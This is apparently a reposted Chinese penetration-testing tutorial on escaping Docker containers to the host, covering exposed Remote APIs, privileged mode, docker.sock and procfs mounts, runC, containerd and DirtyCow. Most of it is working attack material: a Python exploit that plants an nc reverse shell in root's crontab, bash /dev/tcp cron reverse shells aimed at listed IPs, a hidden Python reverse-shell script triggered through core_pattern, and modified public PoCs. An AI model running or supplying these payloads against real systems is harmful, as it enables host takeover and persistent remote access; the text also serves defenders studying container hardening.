Linux內網滲透(一)——容器逃逸


Linux雖然沒有域環境,但是當我們拿到一台Linux 系統權限,難道只進行一下提權,捕獲一下敏感信息就結束了嗎?顯然不只是這樣的。本系列文章將從拿到一個Linux shell開始,介紹Linux內網滲透技術,分為容器逃逸、Linux提權、Linux信息收集、Linux隧道技術、Linux橫向移動、Linux權限維持、Linux痕跡清理幾個部分。

參考了很多師傅們分享的文章,文末的參考鏈接可能並沒有展示全,在這里表示對各位師傅的感謝。

本文是Linux內網滲透的第一篇文章——容器逃逸。

前言

Docker 逃逸在滲透測試中面向的場景大概是這樣,滲透拿到shell后,發現主機是docker環境,要進一步滲透,就必須逃逸到“直接宿主機”。甚至還有物理機運行虛擬機,虛擬機運行Docker容器的情況。那就還要虛擬機逃逸了。本文記錄Docker逃逸相關技術重點、盡最大可能進行利用復現。

如何判斷當前機器是否為Docker 容器環境

  • Metasploit 中的 checkcontainer 模塊、(判斷是否為虛擬機,checkvm 模塊)
    該模塊其實進行了如下操作:

  • ⭐檢查根目錄下是否存在.dockerenv文件

    ls -la
    

    image-20220105150129291

  • ⭐檢查 /proc/1/cgroup 是否存在含有docker字符串

    cat /proc/1/cgroup
    

    image-20220105150310334

  • 檢查是否存在container環境變量
    通過env \ PATH 來檢查是否有docker相關的環境變量,來進一步判斷。

    env
    env $PATH
    set
    
  • 其他檢測方式

    如檢測mount、fdisk -l列出所有分區 、判斷PID 1的進程名等也可用來輔助判斷。

    image-20220105151305068

    image-20220105152356625

Docker逃逸的方法

docker架構圖如下,其中對普通用戶來說,最為熟悉的就是最外層的docker client和docker daemon,一個是docker命令行工具,另一個是dockerd后台進程。Docker Client通過命令行與Docker Damon通信。containerd則為docker和run的一個溝通

image-20220105153115084

危險的配置導致Docker 逃逸

由於"縱深防御" 和 "最小權限"等理念和原則落地,越來越難以直接利用漏洞來進行利用。另一方面,公開的漏洞,安全運維人員能夠及時將其修復,當然,不免存在漏網之魚。相反,更多的是利用錯誤的、危險的配置來進行利用,不僅僅Docker逃逸,其他漏洞也是,比如生產環境開啟Debug模式導致漏洞利用等等。

Docker已經將容器運行時的Capabilities黑名單機制改為如今的默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限

Docker Remote API 未授權訪問

漏洞簡述:

docker remote api可以執行docker命令,docker守護進程監聽在0.0.0.0,可直接調用API來操作docker。

通過docker daemon api 執行docker命令:

#列出容器信息,效果與docker ps一致。 
curl http://<target>:2375/containers/json 
#啟動容器
docker -H tcp://<target>:2375 ps -a

利用場景:

通過對宿主機端口掃描,發現有2375端口開放,可以執行任意docker命令。我們可以據此,在宿主機上運行一個容器,然后將宿主機的根目錄掛載至docker的/mnt目錄下,便可以在容器中任意讀寫宿主機的文件了。我們可以將命令寫入crontab配置文件,進行反彈shell。

漏洞利用:

Vulhub提供了該漏洞的復現環境。

image-20220105161407331

  • 利用方法1

利用方法是,我們隨意啟動一個容器,並將宿主機的/etc目錄掛載到容器中,便可以任意讀寫文件了。我們可以將命令寫入crontab配置文件,進行反彈shell。

這里有一個現成的exp:

import docker

client = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

(其他反彈shell的形式也一樣)

  • 利用方法2

image-20220105161407331

隨便啟動一個docker,掛載點設置為服務器的根目錄掛載至/mnt目錄下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

本地監聽端口,獲取對方宿主機shell。

  • 利用方法3

Github上的exp:https://github.com/Tycx2ry/docker_api_vul

⭐Docker 高危啟動參數 -- privileged 特權模式啟動容器

特權模式逃逸是一種最簡單有效的逃逸方法,使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,可直接通過chroot切換根目錄、寫ssh公鑰和crontab計划任何等getshell。

當操作者執行docker run --privileged時,Docker將允許容器訪問宿主機上的所有設備,同時修改AppArmor或SELinux的配置,使容器擁有與那些直接運行在宿主機上的進程幾乎相同的訪問權限。

判斷方法:

特權模式起的容器,實戰可通過cat /proc/self/status |grep Cap命令判斷當前容器是否通過特權模式起(CapEff: 000000xfffffffff代表為特權模式起)

image-20220105165952438

利用方法:

特權模式啟動一個Ubuntu容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

進入容器:
使用fdisk -l 命令查看磁盤文件:

image-20220105170517609

fdisk -l命令查看宿主機設備為/dev/sda5(一般是最大的那個),通過mount命令將宿主機根目錄掛載進容器

在特權模式下,逃逸的方式很多,比如:直接在容器內部掛載宿主機磁盤,然后切換根目錄。

新建一個目錄:mkdir /test
掛載磁盤到新建目錄:mount /dev/sda5 /test
切換根目錄:chroot /test
到這里已經成功逃逸了,然后就是常規的反彈shell 和 寫 SSH 了(和redis未授權差不多)。

image-20220105171234763

寫計划任務,反彈宿主機Shell:

echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要寫SSH的話,需要掛載宿主機的root目錄到容器:

docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

然后ssh 私鑰登錄。

其他參數:
Docker 通過Linux namespace實現6項資源隔離,包括主機名、用戶權限、文件系統、網絡、進程號、進程間通訊。但部分啟動參數授予容器權限較大的權限,從而打破了資源隔離的界限。

--cap-add=SYS_ADMIN  啟動時,允許執行mount特權操作,需獲得資源掛載進行利用。    --net=host           啟動時,繞過Network Namespace    --pid=host              啟動時,繞過PID Namespace    --ipc=host              啟動時,繞過IPC Namespace

危險掛載導致Docker 逃逸

掛載敏感目錄(-v /:/soft)

漏洞測試:
將宿主機root目錄掛載到容器

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

模擬攻擊者寫入ssh密鑰

mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

利用私鑰成功登錄。獲取宿主機權限。

image-20220105174201533

⭐掛載Docker Socket(docker.sock)

使用者將宿主機/var/run/docker.sock文件掛載到容器中,目的是能在容器中也能操作docker。

概述:

Docker采用C/S架構,我們平常使用的Docker命令中,docker即為client,Server端的角色由docker daemon扮演,二者之間通信方式有以下3種:

unix:///var/run/docker.sock(默認tcp://host:portfd://socketfd

Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通信——查詢信息或下發命令。

判斷方法:

實戰中通過find命令,可查找類似docker.sock等高危目錄和文件

image-20220105180028267

image-20220105180321165

相當於在docker里可以執行宿主機docker命令,這樣的話,我們新啟一個容器,掛載宿主機根目錄,即可逃逸

復現:

1、首先創建一個容器並掛載/var/run/docker.sock:

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2、在該容器內安裝Docker命令行客戶端:

  • 安裝方法一:
apt-updateapt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-commoncurl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -apt-key fingerprint 0EBFCD88add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \$(lsb_release -cs) \stable"apt-get updateapt-get install docker-ce docker-ce-cli containerd.io
  • ⭐安裝方法二:

cat /etc/os-release查看當前linux發型版本,准備安裝docker客戶端,方便操作docker

image-20220105181221018

訪問https://download.docker.com/linux/debian/dists/,根據選擇具體分支,去https://download.docker.com/linux/debian/dists/xxxxxx/pool/stable/amd64/下載.deb結尾的安裝文件

使用這種方式安裝的好處是容器內一般都缺少很多基礎組件,如果通過apt-get安裝實測20分鍾也裝不完

image-20220105211954221

3、接着使用該客戶端通過Docker Socket與Docker守護進程通信,發送命令創建並運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部:

docker run -it -v /:/host ubuntu:latest /bin/bash

image-20220105221801867

4、在新容器內執行chroot將根目錄切換到掛載的宿主機根目錄:

chroot /host

image-20220105221914569

已成功逃逸到宿主機。

image-20220105221955268

掛載宿主機procfs

利用procfs通過寫/proc/sys/kernel/core_pattern來進行逃逸,觸發條件比較苛刻,需要有進程奔潰才能觸發

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu (為了區分,掛載到容器的/host/目錄下

procfs是一個偽文件系統,它動態反映着系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,尤其是在該容器內默認啟用root權限,且沒有開啟User Namespace時

從2.6.19內核版本開始,Linux支持在/proc/sys/kernel/core_pattern中使用新語法。如果該文件中的首個字符是管道符|,那么該行的剩余內容將被當作用戶空間程序或腳本解釋並執行。

Docker默認情況下不會為容器開啟User Namespace

一般情況下不會將宿主機的procfs掛載到容器中,然而有些業務為了實現某些特殊需要,還是會有。

判斷方法:

實戰中通過find命令,可查找類似core_pattern/proc/sys/kernel/core_pattern等高危目錄和文件

復現:

“在掛載procfs的容器內利用core_pattern后門實現逃逸“

利用思路:

攻擊者進入到掛載了宿主機profs的容器,root權限,然后向宿主機的procfs寫Payload

​ 1、在容器內創建反彈Shell的Exp,/tmp/.x.py (.為隱藏文件

apt-get updateapt-get install vimapt-get install gcc (用於編譯一個可以崩潰的程序,容器環境下一般都不自帶這些常用的工具,包括ping之類的。
#.x.pyimport osimport ptyimport socketlhost = "attacker-ip"lport = 10000def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", "/dev/null") pty.spawn("/bin/bash") os.remove("/tmp/.x.py") s.close()if __name__ == "__main__": main()

2、寫入core_pattern

echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern

執行完以上命令,然后運行'3'的崩潰程序之后,並沒有接收到反彈的shell,

這是因為Linux轉儲機制對/proc/sys/kernel/core_pattern內程序的查找是在宿主機文件系統進行的,而我們的/tmp/.x.py是容器內路徑。

操作以下步驟:

在Docker容器中運行cat /proc/mounts | grep docker拿到當前容器在宿主機上的絕對路徑。

返回如下:

overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TDUPJY7LZWCBS33AOAEL32VYWZ:/var/lib/docker/overlay2/l/UDBKLTSYHMCC4J7DLMAK3JUMT2:/var/lib/docker/overlay2/l/ULFSCIS7UXEVHUTW5KPOWLQOK6:/var/lib/docker/overlay2/l/YQDQOJ3EJ3KELBHK5PFFUJ7RVT,upperdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/diff,workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work 0 0

從返回的內容中得到:

workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work

將之前的寫入Payload的命令改為:

echo -e "|/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern

這樣一來,Linux轉儲機制在程序發生崩潰時就能夠順利找到我們在容器內部的/tmp/.x.py了。

3、在容器內運行一個可以崩潰的程序

//test.cint main(void) {int *a = NULL;*a = 1;return 0;}
gcc test.c

執行之后,即可接收到反彈的shell

程序漏洞導致Docker 逃逸

Shocker 攻擊

漏洞描述:從Docker容器逃逸並讀取到主機某個目錄的文件內容。Shocker攻擊的關鍵是執行了系統調用open_by_handle_at函數,Linux手冊中特別提到調用open_by_handle_at函數需要具備CAP_DAC_READ_SEARCH能力,而Docker1.0版本對Capability使用黑名單管理策略,並且沒有限制CAP_DAC_READ_SEARCH能力,因而引發了容器逃逸的風險。

漏洞影響版本: Docker版本< 1.0, 存在於 Docker 1.0 之前的絕大多數版本

(真實環境基本不會存在了)

github項目地址:gabrtv/shocker: Shocker / Docker Breakout PoC (github.com)

image-20220105220908587

runC容器逃逸漏洞(CVE-2019-5736)

漏洞簡述:
Docker 18.09.2之前的版本中使用了的runc版本小於1.0-rc6,因此允許攻擊者重寫宿主機上的runc 二進制文件,攻擊者可以在宿主機上以root身份執行命令。
利用條件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情況下,可通過 docker 和docker -version查看當前版本情況。

利用步驟:

1、下載poc

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

2、修改Payload

vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"

3、編譯生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

image-20220105223627927

4、實戰中可以curl等方式下載,這邊直接使用docker cp放入容器

sudo docker cp ./main 248f8b7d3c45:/tmp

5、在容器中執行payload

# 修改權限chmod 777 main# 執行Payload./main

image-20220105223800968

6、在192.168.172.136上監聽本地端口,成功獲取宿主機反彈回來的shell:

image-20220105223914256

Docker cp 命令容器逃逸攻擊漏洞 CVE-2019-14271

漏洞描述:
當Docker宿主機使用cp命令時,會調用輔助進程docker-tar,該進程沒有被容器化,且會在運行時動態加載一些libnss.so庫。黑客可以通過在容器中替換libnss.so等庫,將代碼注入到docker-tar中。當Docker用戶嘗試從容器中拷貝文件時將會執行惡意代碼,成功實現Docker逃逸,獲得宿主機root權限。
影響版本:
Docker 19.03.0

CVE-2020-15257

利用條件:

containerd 是一個控制 runC 的守護進程,提供命令行客戶端和API

Containerd 1.3.9版本之前和1.4.0~1.4.2版本 (通過dockers version查詢),使用了--host網絡模式,會造成containerd-shim API暴露,通過調用API功能實現逃逸。

判斷方法:

#判斷是否使用host模式cat /proc/net/unix | grep 'containerd-shim'

image-20220105232516972

利用方法:

經過以上判斷,存在漏洞后。

1、從https://github.com/cdk-team/CDK/releases下載對應架構的可執行文件,上傳到容器並賦權

image-20220105233642508

上傳方法:

image-20220105233842279

2、使用

可以反彈shell,也可以執行命令reverse shell./cdk run shim-pwn reverse <RHOST> <RPORT>execute command./cdk run shim-pwn "<shell_cmd>"

image-20220105234157214

內核漏洞導致Docker 逃逸

⭐DirtyCow(CVE-2016-5195)臟牛漏洞實現Docker 逃逸

Docker 與 宿主機共享內核,因此容器需要在存在dirtyCow漏洞的宿主機里

漏洞簡述:
Dirty Cow(CVE-2016-5195)是Linux內核中的權限提升漏洞,通過它可實現Docker容器逃逸,獲得root權限的shell。

漏洞測試:
1、環境准備:
docker與宿主機共享內核,因此我們需要存在dirtyCow漏洞的宿主機鏡像。
這里,我們使用ubuntu-14.04.5來復現。
2、測試容器下載並運行:

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash

3、進入容器,編譯POC並執行:

cd /dirtycow-vdso/make./0xdeadbeef 192.168.111.129:1234

image-20220105225547787

4、在192.168.111.129監聽本地端口,成功接收到宿主機反彈的shell。

image-20220105225559847

參考

https://xz.aliyun.com/t/8558

https://www.cnblogs.com/xiaozi/p/13423853.html

https://blog.csdn.net/w1590191166/article/details/113089994

https://xz.aliyun.com/t/8681

https://xz.aliyun.com/t/8681


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM